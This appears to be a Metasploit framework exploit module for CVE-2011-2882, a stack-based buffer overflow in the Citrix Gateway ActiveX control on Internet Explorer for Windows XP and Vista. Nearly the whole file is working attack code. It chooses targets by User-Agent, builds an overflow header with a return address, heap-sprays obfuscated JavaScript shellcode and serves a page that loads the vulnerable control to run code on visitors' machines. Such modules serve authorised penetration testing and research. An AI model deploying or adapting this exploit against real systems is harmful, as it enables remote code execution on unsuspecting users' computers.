##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability',
      'Description'    => %q{
          This module exploits a stack based buffer overflow in the Citrix Gateway
        ActiveX control. Exploitation of this vulnerability requires user interaction.
        The victim must click a button in a dialog to begin a scan. This is typical
        interaction that users should be accustom to.

          Exploitation results in code execution with the privileges of the user who
        browsed to the exploit page.
          },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Michal Trojnara', #Initial discovery
          'bannedit',
          'sinn3r',
        ],
      'References'     =>
        [
          [ 'CVE',  '2011-2882'],
          [ 'OSVDB', '74191'   ],
          [ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a\x0d\x20\x3b\x81\x83\x88\x90",
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c } ],
          [ 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0b0b } ],
          [ 'IE 7 on Windows Vista',  { 'Ret' => 0x0c0c0b0b } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 14 2011', #Coordinated public disclosure according to iDefense
      'DefaultTarget'  => 0))
  end

  def primer
    hardcoded_uripath("/epaq")
  end

  def exploit
    @ocx = ::File.read(::File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-2882', 'nsepa.ocx'))
    super
  end

  def get_target(request)
    t = target
    agent = request.headers['User-Agent']

    vprint_status("User-Agent: #{agent}")

    if t.name =~ /Automatic/
      if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
        #Win XP + IE 6
        t = targets[1]
      elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
        #Win XP + IE 7
        t = targets[2]
      elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
        #Win Vista + IE7
        t = targets[2]
      elsif agent == 'nsepa'
        #Citrix Access Gateway requesting /epaq
        t = agent
      else
        #Target not supported
        t = nil
      end
    end

    return t, agent
  end

  def on_request_uri(cli, request)
    @mytarget, agent = get_target(request) if @mytarget.nil?
    vprint_status("Client requested: #{request.uri}.")

    #Target not supported, will not go on
    if @mytarget.nil?
      print_error("Target not supported: #{agent}")
      send_not_found(cli)
      return
    end

    if request.uri.match(/nsepa/)
      print_status("Sending nsepa.ocx")
      send_response(cli, @ocx, { 'Content-Type' => 'application/binary' })
      return
    end

    if request.uri.match(/epaq/)
      padding = rand_text_alpha(300)

      csec = "eepa_0_"
      csec << padding[0, 259]
      csec << [@mytarget.ret].pack('V*')
      csec << padding[0, 68]

      result = rand_text_alpha(1000)
      send_response(cli, rand_text_alpha(30), { 'CSEC' => csec, 'RESULT' => result } )
      @mytarget = nil
      return
    end

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # payload in JS format
    code = Rex::Text.to_unescape(payload.encoded)
    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c"*4)

    #For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6
    spray = <<-JS
    var heap_lib = new heapLib.ie(0x20000);
    var code = unescape("#{code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x1000) nops += nops;
    var offset = nops.substring(0, 0x550);
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x20000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x10000-6)/2);

    heap_lib.gc();

    for (var i = 0; i < 0x6000; i++) {
      heap_lib.alloc(block);
    }
    JS

    spray = heaplib(spray, {:noobfu => true})
    spray = ::Rex::Exploitation::JSObfu.new(spray)
    spray.obfuscate(memory_sensitive: true)

    load = %Q|
    var d=document.getElementById("nsepadiv");
    if(d) {
      d.innerHTML=
      '<object id="nsepa" classid="CLSID:181BCAB2-C89B-4E4B-9E6B-59FA67A426B5" '+
      'width=1px height=1px codebase="#{get_resource}/epa/nsepa.ocx#version=8,0,59,1">' +
      '<param name="cookie" value="0123456789abcdef0123456789abcdef">'+
      '<param name="location" value="'+document.location+'">'+
      '<param name="trace" value="DEBUG">'+
      '<param name="vip" value="255.255.255.255">'+
      '</object>';
    } else {
      alert('Internal Error');
    }
|
    # the ret slide gets executed via call [esi+45b]
    html = <<-EOS
    <html>
    <body>
    <div id="nsepadiv"></div>
    <script language="javascript">
    #{spray}
    #{load}
    </script>
    </body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, '')

    print_status("Sending #{self.name} HTML")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
